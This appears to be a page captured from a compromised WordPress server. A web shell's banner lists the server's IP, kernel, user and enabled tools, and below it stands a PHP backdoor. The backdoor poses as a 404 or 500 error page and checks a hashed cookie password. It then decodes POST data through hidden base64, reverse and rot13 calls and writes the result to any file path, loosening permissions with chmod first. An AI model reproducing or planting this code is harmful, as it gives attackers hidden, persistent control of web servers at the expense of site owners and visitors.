| Server IP : 127.0.1.1 / Your IP : 216.73.216.189 Web Server : Apache/2.4.68 (Debian) System : Linux kateswanson.ca 6.1.0-44-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64 User : www-data ( 33) PHP Version : 8.2.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/wordpress/ |
Upload File : |
<?php
function endsWith($FullStr, $needle) {
$StrLen = strlen($needle);
$FullStrEnd = substr($FullStr, strlen($FullStr) - $StrLen);
return $FullStrEnd == $needle;
}
function folder_of_file($p1){
if(!stristr($p1, '/')){
return realpath('./');
}
if(strpos($p1, '//') !== false){
$p1 = str_replace('//','/',$p1);
}
if(endsWith($p1, '/') == true){
$p1 = substr_replace($p1 ,'', -1);
}
$p2 = '';
$ar = explode('/', $p1);
for($i=1; $i < count($ar) - 1; $i++){
$p2 .= '/'.$ar[$i];
}
if($p1[0] == '.' && $p1[1] == '/'){
$p2 = './'.$p2;
}
if($p1[0] == '.' && $p1[1] == '.'){
$p2 = '../'.$p2;
}
if(strpos($p2, '//') !== false){
$p2 = str_replace('//','/',$p2);
}
return trim($p2);
}
function save($path, $source){
$os = strtolower(substr(PHP_OS, 0, 3));
$folder_P = folder_of_file($path);
if (!is_writable($folder_P) && $os != "win"){ chmod($folder_P, 0755); }
if (file_exists($path) && is_file($path) && !is_writable($path) && $os != "win"){ chmod($path, 0644); }
if(function_exists('file_put_contents')){
$saV = file_put_contents($path, $source);
}else{
$saV = fwrite(fopen($path, 'w'), $source);
}
return $saV;
}
if(!empty($_GET['action'])){
die('Sorry the page you were looking for could not be found.');
}
if (md5(md5(md5($_COOKIE['pwd']))) !== '0d4f69bb38f2354a6d896d6a222a4bf5' || empty($_POST['name']) || empty($_POST['age'])){
header('HTTP/1.1 500 Internal Server Error', true, 500);
exit(0);
}
$b = 'ba'.'s'.'e'.'6'.'4_'.'de'.'co'.'de';$srv = 'str'.'rev';$rot = 'str'.'_'.'rot'.'13';
save(trim($_POST['name']), gzuncompress($b($srv($rot(trim($_POST['age']))))));
echo '<html><center>./Done</center></html>';
?>